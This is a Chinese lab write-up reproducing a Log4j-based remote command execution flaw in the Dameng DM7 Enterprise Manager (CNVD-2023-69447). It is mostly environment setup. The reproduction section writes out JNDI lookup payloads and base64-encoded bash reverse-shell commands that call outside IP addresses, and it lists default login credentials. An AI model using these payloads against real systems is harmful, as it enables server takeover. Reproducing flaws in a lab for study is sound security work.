【漏洞复现】达梦7企业管理器(DEM)国产数据库 RCE(CNVD-2023-69447)
1. 漏洞描述
达梦企业管理器(DEM)是一个通过Web界面来监控、管理并维护DM数据库的集中式管理平台。
达梦企业管理器(DEM)存在命令执行漏洞,攻击者可利用该漏洞获取服务器控制权。
2. 影响版本
武汉达梦数据库股份有限公司 达梦企业管理器(DEM) 7.0.3
3. 数据库环境搭建
1. 达梦数据库DM7安装(最好用带界面的Linux,不要用命令行版)
达梦数据湖库DM7入门(三):DM7数据库安装https://zhuanlan.zhihu.com/p/125662960
跟着上边的教程走,基本没问题
安装前准备:
● 检查操作系统信息(只检查,不知道有啥用)
● 创建DM7数据库用户和组
● 设置dmdba用户环境变量
● 创建DM7数据库相关目录
● 检查操作系统限制
● 检查系统内存与存储空间
● 挂载DM7数据库软件ISO
检查操作系统信息
#检查操作系统位数
getconf LONG_BIT
#检查操作系统版本信息
lsb_releasea -a
#查询操作系统名称
uname -a
#检查glibc相关软件包是否已安装(这步不知道有什么用,我装了一下glibc,但是执行rpm还是检查不出来什么东西)
rpm -qa|grep glibc
安装glibc参考的是:https://blog.csdn.net/wq_0708/article/details/121105055
安装glibc(不知道不安装是否影响)
apt-get install glibc-source
cd /usr/src/glibc/
sudo tar -xvf glibc-[VERSION].tar.xz
cd glibc-[VERSION]
mkdir build && cd build
apt-get install gawk bison -y
../configure --prefix=/usr/local/glibc-[VERSION]
make -j4
make install
创建DM7数据库用户和组(使用root用户操作)
# 创建DM7数据库组dinstall
groupadd dinstall
# 创建DM7数据库用户dmdba
useradd -g dinstall -m -d /home/dmdba -s /bin/bash dmdba
# 修改DM7数据库用户p4ssw0rd
p_a_s_s_w_d dmdba #脱敏这个指令去掉下划线
# 小揭师姐建议将 dmdba 添加到 sudo 用户组
sudo adduser dmdba sudo
设置dmdba用户环境变量(使用dmdba用户操作)
vim /home/dmdba/.bash_profile
# 在.bash_profile增加以下内容
export DM_HOME="/dm7/dmdbms"
export PATH=$PATH:$DM_HOME/bin:$DM_HOME/tool
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:$DM_HOME/bin"
#1.创建DM7数据库软件及其他存放目录,建议将其放在/tmp目录中,安装完后可以随时删除该目录及其中的文件
mkdir -p /tmp/dm7_install
#2.创建DM7数据库软件安装目录和赋予权限。
mkdir -p /dm7/dmdbms
chown -R dmdba:dinstall /dm7/dmdbms
#3.DM7数据库数据文件目录和赋予权限。
mkdir -p /dm7/data
chown -R dmdba:dinstall /dm7/data
vim /etc/security/limits.conf
# 在limits.conf末尾增加以下内容
* soft nofile 65536
* hard nofile 65536
ulimt -a
检查如下几个关键资源是否合适,假如open files(-n) 不合适,要改,就执行ulimt -n 65536
data seg size (kbytes, -d) 建议设置为 1048576 以上或 unlimited
file size(blocks, -f) 建议设置为 unlimited
open files(-n) 建议设置为 65536 以上或 unlimited
virtual memory (kbytes, -v) 建议设置为 1048576 以上或 unlimited
检查系统内存与存储空间(使用root或dmdba用户操作)
#检查内存大小,注:达梦官方推荐尽量保证操作系统至少1GB的可用内存。
grep MemTotal /proc/meminfo
#检查交换空间大小
grep SwapTotal /proc/meminfo
#DM7数据库安装目录我们规划在/dm7/dmbms目录,DM7数据库完全安装需要1GB的存储空间
df -h /dm7/dmdbms
#3.检查操作系统临时空间大小
df -h /tmp
挂载DM7数据库软件ISO(使用root用户操作)
# 下边这个iso,可以去达梦官网下载,下载是压缩包,解压出来就是iso
# https://eco.dameng.com/download/?_blank
cd /tmp/dm7_install/
wget https://download.dameng.com/eco/adapter/DM7/202310/dm7_20230620_x86_rh6_64.zip
unzip dm7_20230620_x86_rh6_64.zip
mount -o loop /tmp/dm7_install/dm7_setup_rh6_64_ent_7.6.0.142_20190312.iso /mnt
上边算是准备好了达梦数据库的安装环境,接下来安装达梦数据库
如果在GUI的文件窗口复制更改遇到权限问题,建议在命令行输入sudo nautilus
,然后就可以更改保存文件了
安装DM7数据库(使用dmdba用户)
#进入DM7数据库软件目录,我们在上面已将DM7数据库软件挂载于/mnt目录上
cd /mnt
#运行DMInstall.bin文件开始安装DM7数据库
./DMInstall.bin
# 上边这个命令会唤出达梦数据库的可视化安装界面,如果报错初始化图形界面失败,则可以执行下边步骤解决
# 使用root用户
echo $DISPLAY
# 假如上边输出的是:0,则切换为dmdba用户执行
export DISPLAY=:0
进入到图形化界面后,就默认下一步
(下边是步骤中的关键词,遇到就这样写,遇不到就直接需下一步)
跳过Key文件就行
典型安装
选择安装位置为/dm7/dmdbms
如果在安装的过程中遇到类似下方的执行配置脚本,就听从指示去做即可。
安装完达梦数据库后,最后会选择初始化数据库,我们可以创建数据库实例
进入到图形化界面后,就默认下一步
(下边是步骤中的关键词,遇到就这样写,遇不到就直接需下一步)
数据库模板一般用途
数据库目录/dm7/data
数据库名DAMENG、实例名DAMENG、端口号5236
控制文件啥的不用改
数据库初始化参数不用改
口令管理我这里选择了所有系统用户使用同一口令假如为dvddt1234(示例假口令,该口令要记劳)
创建示例库DMHR
到此应该已经安装好数据库,并且有实例了, 你可以通过下边两个步骤验证一下安装的数据库正不正宗。
● 你可以在命令行输入disql SYSDBA/dvddt1234@localhost:5236
,然后就登录到sql交互,你再执行 select * from v$version;
就可以查看你安装的数据库版本。
● 你也可以在命令行输入manager
,会打开一个DMGUI管理工具,点击菜单栏->帮助->关于,也可以看到DMGUI管理工具的版本。
接下来下来部署DEM,因为我们复现的漏洞是属于DEM( Dameng Enterprise Manager )
部署DEM可以参考/dm7/dmdbms/web/readme.txt里的步骤
也可以参考达梦数据库DEM搭建与配置
安装前准备:java环境(jdk环境)和tomcat环境
安装java环境
apt update
apt install openjdk-8-jdk
java -version
安装tomcat9.0.65环境
# 1.安装tomcat
sudo mkdir /opt/tomcat
cd /opt/tomcat
wget https://archive.apache.org/dist/tomcat/tomcat-9/v9.0.65/bin/apache-tomcat-9.0.65.zip
unzip apache-tomcat-9.0.65.zip
mv apache-tomcat-9.0.65/* .
rm apache-tomcat-9.0.65 -r
# 2.配置tomcat,检查tomcat是否安装能够成功运行
# 修改tomcat服务器配置,编辑/opt/tomcat/conf/server.xml
<Connector port="8080" protocol="HTTP/1.1"
connectionTimeout="20000"
redirectPort="8443"
maxPostSize="-1" <!--追加配置-->
...
# 修改jvm启动参数,编辑/opt/tomcat/bin/catalina.sh,<path-to-dmdbms>我这里是/dm7
JAVA_OPTS="-server -Xms256m -Xmx1024m -XX:MaxPermSize=512m -Djava.library.path=/<path-to-dmdbms>/dmdbms/bin"
# /opt/tomcat/bin目录下授权并启动tomcat服务器
chmod +x *.sh
./startup.sh
# 3.检查tomcat是否成功启动,在浏览器输入localhost:8080,看到小老虎说明成功
部署DEM
# 1.创建一个数据库作为DEM后台数据库,数据库dm.ini参数配置进行优化,推荐配置:
# 我们上边已经创建过示例库了,只需要检查/dm7/data/DAMENEG/dm.ini是否满足即可
MEMORY_POOL = 200
BUFFER = 1000
KEEP = 64
MAX_BUFFER = 2000
SORT_BUF_SIZE = 50
# 2.在该数据库中执行SQL脚本dem_init.sql
disql SYSDBA/dvddt1234@localhost (进入sql命令行)
SQL> set char_code utf8
SQL> start $DM_HOME/web/dem_init.sql
# 3.配置后台数据库的连接信息(关键不能错),
# 在GUI文件系统打开$DM_HOME/web/dem.war中直接修改dem.war里WEB-INF/db.xml,其他别动
<?xml version="1.0" encoding="UTF-8"?>
<ConnectPool>
<Dbtype>dm7</Dbtype>
<Server>127.0.0.1</Server> #本机ip地址
<Port>5236</Port> #数据库实例的端口号
<User>SYSDBA</User> # 你disql登录数据库的用户
<Password>dvddt1234</Password> # 你disql登录数据库的密码
<InitPoolSize>50</InitPoolSize>
<CorePoolSize>100</CorePoolSize>
<MaxPoolSize>500</MaxPoolSize>
<KeepAliveTime>60</KeepAliveTime>
<DbDriver></DbDriver>
<DbTestStatement>select 1</DbTestStatement>
<SSLDir>../sslDir/client_ssl/SYSDBA</SSLDir>
<SSLPassword></SSLPassword>
</ConnectPool>
# 4.将dem.war 复制到tomcat的webapps下,如果tomcat已经启动,会自动解压该包
cp /dm7/dmdbms/web/dem.war /opt/tomcat/webapps/
# 5. 在浏览器输入localhost:8080/dem/,如果看到达梦登录界面则成功,密码为admin/888888
# 如果不成功,检查解压出来的/dem/WEB-INF/db.xml,连接数据库的信息是否正确。
# 如果要重启tomcat服务器
cd /opt/tomcat/bin
./shutdown.sh
./startup.sh
看到此说明DEM部署成功。
2. 准备漏洞复现环境
准备漏洞复现环境
参考DM-DEM修补Log4j2远程代码执行漏洞修补Log4j2远程代码执⾏漏洞,可直接对当前 DEM 的 Log4j 组件进行降级或升级替换便于测试,替换完成后重启 Tomcat
我的webapps/dem/WEB-INF/lib
里的log4j-core-2.12.4.jar
和log4j-api-2.12.4.jar
升级到了2.14.0
才成功复现漏洞。
替换webapps/dem/WEB-INF/lib里的log4j组件版本
# 随便找个地方存放log4j第三方组件,然后将webapps/dem/WEB-INF/lib里的组件进行替换就行了
wget https://archive.apache.org/dist/logging/log4j/2.14.0/apache-log4j-2.14.0-bin.tar.gz
tar zxvf apache-log4j-2.14.0-bin.tar.gz
# 重启tomcat
poc在仓库不同的分支http://xxx/red-x/x_test_poc/-/tree/dm7-dem-log4j-db-connection/dm7-dem-log4j-db-connection
4. 复现过程
漏洞手工验证
手工验证,可以用${java:os}
,或${java:runtime}
来验证,触发报错后,在/opt/tomcat/log
或/opt/tomcat/webapps/dem/log
里查看日志可以看到恶意代码被执行,证明了漏洞存在。
但是作为攻击者我们通常不会登录到受害者的机子上看日志,并且在前端也没有回显恶意代码执行的痕迹,就需要借助如下的带外攻击手段,验证恶意代码被执行。
反弹shell尝试
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}"-A 10.202.22.76
# 1. 准备反弹shell命令 # 监听器 nc -lvnp 9001
bash -i >& /dev/tcp/10.202.22.76/9001 0>&1
# 2.反弹shell命令 base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx
# 3.jndi工具
java -jarJNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4yMDIuMjIuNzYvOTAwMSAwPiYx}|{base64,-d}|{bash,-i}" -A 10.202.22.76
jndi接收到了回连,但是到nc不知道为啥一直不通,下去后我再研究一下
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMjYuMjU0Lzg5ODkgMD4mMQ==}|{base64,-d}|{bash,-i}" -A 8.130.126.254
java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 8.130.126.254 ${jndi:ldap://8.130.126.254:1389/Basic/Command/Base64/YmFzaCAtaSA+JiAvZGV2L3RjcC84LjEzMC4xMjYuMjU0Lzg5ODkgMD4mMQ==}
用JNDIExploit-1.4-SNAPSHOT.jar
工具执行也反弹不成功
1达梦数据库DEM远程命令执行漏洞(db_connection)
2 达梦数据库DEM远程命令执行漏洞(dma_alert)
3 达梦数据库DEM远程命令执行漏洞(preference)